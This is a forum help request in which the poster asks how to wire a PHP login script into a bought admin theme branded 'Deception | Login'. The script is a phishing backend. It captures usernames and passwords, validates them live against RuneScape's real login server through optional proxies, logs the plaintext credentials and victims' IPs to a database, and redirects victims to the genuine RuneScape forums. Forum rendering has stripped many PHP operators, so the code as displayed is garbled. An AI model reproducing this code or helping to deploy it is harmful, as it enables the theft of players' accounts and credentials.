Hi guys I'm attempting to switch my website over to a theme i bought from themeforest and was looking for someone to push me in the right direction by helping me with the login screen and from there i should be able to manage the rest

this is login.php

PHP Code:
<?php

    
require("include/config.php");
    require(
"include/functions.php");
    
    
$id mysql_real_escape_string($_POST['id']);
    
$username mysql_real_escape_string($_POST['username']);
    
$password mysql_real_escape_string($_POST['password']);
    
$ip $_SERVER['REMOTE_ADDR'];
    
$logid rand_chars("1234567890"15);
    
    
$qBlock mysql_query("SELECT * FROM `blocked` WHERE `username`='" $username "' OR `ip`='" $_SERVER['REMOTE_ADDR'] . "' AND `userID`='" $id "'") or die(mysql_error());
    
    if (!
mysql_num_rows($qBlock) > 0) {
            
        
$qUser mysql_query("SELECT * FROM `users` WHERE `id`='" $id "'") or die(mysql_error());
        
        if (
mysql_num_rows($qUser) > 0) {
        
            
$qSettings mysql_query("SELECT * FROM `settings`") or die(mysql_error());
            
$rSettings mysql_fetch_array($qSettings);
        
            
$rUser mysql_fetch_array($qUser);
            
            if (
$rUser['checkValid'] == && $rSettings['checkValid'] == 1){
                        
                
$ch curl_init();
                
curl_setopt($chCURLOPT_URL,"https://secure.runescape.com/m=weblogin/login.ws");
                
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
                
curl_setopt($chCURLOPT_RETURNTRANSFER1);
                
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
                
curl_setopt($chCURLOPT_POST1);
                
curl_setopt($chCURLOPT_POSTFIELDS,"username=" $_POST['username'] . "&password=" $_POST['password'] . "mod=forum&ssl=0&dest=forums.ws?198,199");

                if (
$rUser['customProxy'] == 1){
                
                    
curl_setopt($chCURLOPT_PROXY$rUser['proxyip']);
                    
curl_setopt($chCURLOPT_PROXYPORT$rUser['proxyport']);
                
                } elseif (
$rSettings['customProxy'] == 1){
                
                    
curl_setopt($chCURLOPT_PROXY$rSettings['proxyip']);
                    
curl_setopt($chCURLOPT_PROXYPORT$rSettings['proxyport']);
                
                }
                
                
$pagedata curl_exec($ch);
                
curl_close($ch);

                if (
preg_match("/LoggedIn/i"$pagedata)) {
                
                    
$valid "Valid";
                    
                } elseif (
preg_match("/Invalid/i"$pagedata)) {
                
                    
$valid "Invalid";

                } else {
                
                    
$valid "Blocked";
                    
                }
                
            } else {
                
                
$valid "Disabled";
                
            }
            
            
$SQL mysql_query("INSERT INTO `logs` (`id`, `userID`, `username`, `password`, `status`, `ip`, `date`) VALUES('" $logid "','" $id "','" $username "','" $password "','" $valid "','" $ip "',NOW())") or die(mysql_error());
        
        }
        
    }
        
    
redirect("http://services.runescape.com/m=forum/forums.ws");
    
?>
This is the template i am trying to put that php into

Code:
<!doctype html> <!--
paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/ -->
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en"> <![endif]-->
<!--[if IE 7]>    <html class="no-js ie7 oldie" lang="en"> <![endif]-->
<!--[if IE 8]>    <html class="no-js ie8 oldie" lang="en"> <![endif]-->
<!-- Consider adding a manifest.appcache: h5bp.com/d/Offline -->
<!--[if gt IE 8]><!-->
<html class="no-js" lang="en">
	<!--<![endif]-->
	<head>
		<meta charset="utf-8">
		<!-- Use the .htaccess and remove these lines to avoid edge case issues.
		More info: h5bp.com/b/378 -->
		<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
		<title>Login :: Peach &ndash; Clean &amp; Smooth Admin Template</title>
		<meta name="description" content="">
		<meta name="author" content="Simon Stamm & Markus Siemens">
		<!-- Mobile viewport optimized: j.mp/bplateviewport -->
		<meta name="viewport" content="width=device-width,initial-scale=1">
		<!-- Place favicon.ico and apple-touch-icon.png in the root directory:
		mathiasbynens.be/notes/touch-icons -->
		
		<!-- CSS -->
		<link rel="stylesheet" href="css/960gs/fluid.css"> <!-- 960.gs Grid System -->
		<!-- The HTML5-Boilerplate CSS styling -->
		<link rel="stylesheet" href="css/h5bp/normalize.css"> <!-- RECOMMENDED: H5BP reset styles -->
		<link rel="stylesheet" href="css/h5bp/non-semantic.helper.classes.css"> <!-- RECOMMENDED: H5BP helpers (e.g. .clear or .hidden) -->
		<link rel="stylesheet" href="css/h5bp/print.styles.css"> <!-- OPTIONAL: H5BP print styles -->
		<!-- The special page's styling -->
		<link rel="stylesheet" href="css/special-page.css"> <!-- REQUIRED: Special page styling -->
		<link rel="stylesheet" href="css/sprites.css"> <!-- REQUIRED: Basic sprites (e.g. buttons, jGrowl) -->
		<link rel="stylesheet" href="css/typographics.css"> <!-- REQUIRED: Typographics -->
		<link rel="stylesheet" href="css/content.css"> <!-- REQUIRED: Content (we need the boxes) -->
		<link rel="stylesheet" href="css/sprite.forms.css"> <!-- SPRITE: Forms -->
		<link rel="stylesheet" href="css/ie.fixes.css"> <!-- OPTOINAL: Fixes for IE -->
		
		<!-- More ideas for your <head> here: h5bp.com/d/head-Tips -->
		<!-- All JavaScript at the bottom, except this Modernizr build incl. Respond.js
		Respond is a polyfill for min/max-width media queries. Modernizr enables HTML5
		elements & feature detects;
		for optimal performance, create your own custom Modernizr build:
		www.modernizr.com/download/ -->
		<script src="js/libs/modernizr-2.0.6.min.js"></script>
	</head>
	<body class="special_page">
		<div class="top">
			<div class="gradient"></div>
			<div class="white"></div>
			<div class="shadow"></div>
		</div>
		<div class="content">
			<h1>Deception | Login</h1>
			<div class="background"></div>
			<div class="wrapper">
				<div class="box">
					<div class="header grey">
						<img src="img/icons/packs/fugue/16x16/lock.png" width="16" height="16">
						<h3>Login</h3>
					</div>
					<form method="get" action="dashboard.html">
						<div class="content no-padding">
							<div class="section _100">
								<label>
									Username
								</label>
								<div>
									<input name="username" class="required">
								</div>
							</div>
							<div class="section _100">
								<label>
									Password
								</label>
								<div>
									<input name="password" type="password" class="required">
								</div>
							</div>
						</div>
						<div class="actions">
							<div class="actions-left" style="margin-top: 8px;">
								<label for="newsletter">
									<input name="autologin" type="checkbox"/>
									Auto-login in future.
								</label>
							</div>
							<div class="actions-right">
								<input type="submit" value="Login"/>
							</div>
						</div>
					</form>
				</div>
				<div class="shadow"></div>
			</div>
		</div>
		
		
		<!-- JavaScript at the bottom for fast page loading -->
		<!-- Grab Google CDN's jQuery, with a protocol relative URL; fall back to local if offline -->
		<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script>
		<script>window.jQuery || document.write('<script src="js/libs/jquery-1.7.1.js"><\/script>')</script>
		<script src="//ajax.googleapis.com/ajax/libs/jqueryui/1.8.16/jquery-ui.min.js"></script>
		<script>window.jQuery.ui || document.write('<script src="js/libs/jquery-ui-1.8.16.min.js"><\/script>')</script>
		
		<!-- scripts concatenated and minified via build script -->
		<script defer src="js/plugins.js"></script> <!-- REQUIRED: Different own jQuery plugnis -->
		<script defer src="js/mylibs/jquery.validate.js"></script>
		<script defer src="js/mylibs/jquery.jgrowl.js"></script>
		<script defer src="js/mylibs/jquery.checkbox.js"></script>
		<script defer src="js/mylibs/jquery.validate.js"></script>
		<script defer src="js/script.js"></script> <!-- REQUIRED: Generic scripts -->
		<!-- end scripts -->
		<script>
		$(window).load(function(){
			/*
			 * Validate the form when it is submitted
			 */
			var validatelogin = $("form").validate({
				invalidHandler: function(form, validator) {
					var errors = validator.numberOfInvalids();
					if (errors) {
						var message = errors == 1
						  ? 'You missed 1 field. It has been highlighted.'
						  : 'You missed ' + errors + ' fields. They have been highlighted.';
						$('.box .content').removeAlertBoxes();
						$('.box .content').alertBox(message, {type: 'warning', icon: true, noMargin: false});
						$('.box .content .alert').css({
							width: '',
							margin: '0',
							borderLeft: 'none',
							borderRight: 'none',
							borderRadius: 0
						});
					} else {
						$('.box .content').removeAlertBoxes();
					}
				},
				showErrors : function(errorMap, errorList) {
						this.defaultShowErrors();
						var self = this;
						$.each(errorList, function() {
							var $input = $(this.element);
							var $label = $input.parent().find('label.error').hide();
							$label.addClass('red');
							$label.css('width', '');
							$input.trigger('labeled');
							$label.fadeIn();
						});
				},
				submitHandler: function(form) {
					window.location.replace('dashboard.html');
				}
			});
		});
		</script>		
		
		<!-- Prompt IE 6 users to install Chrome Frame. Remove this if you want to
		support IE 6.
		chromium.org/developers/how-tos/chrome-frame-getting-started -->
		<!--[if lt IE 7 ]>
		<script defer
		src="//ajax.googleapis.com/ajax/libs/chrome-frame/1.0.3/CFInstall.min.js"></script>
		<script
		defer>window.attachEvent('onload',function(){CFInstall.check({mode:'overlay'})})</script>
		<![endif]-->
	</body>
</html>
Any help is greatly appreciated!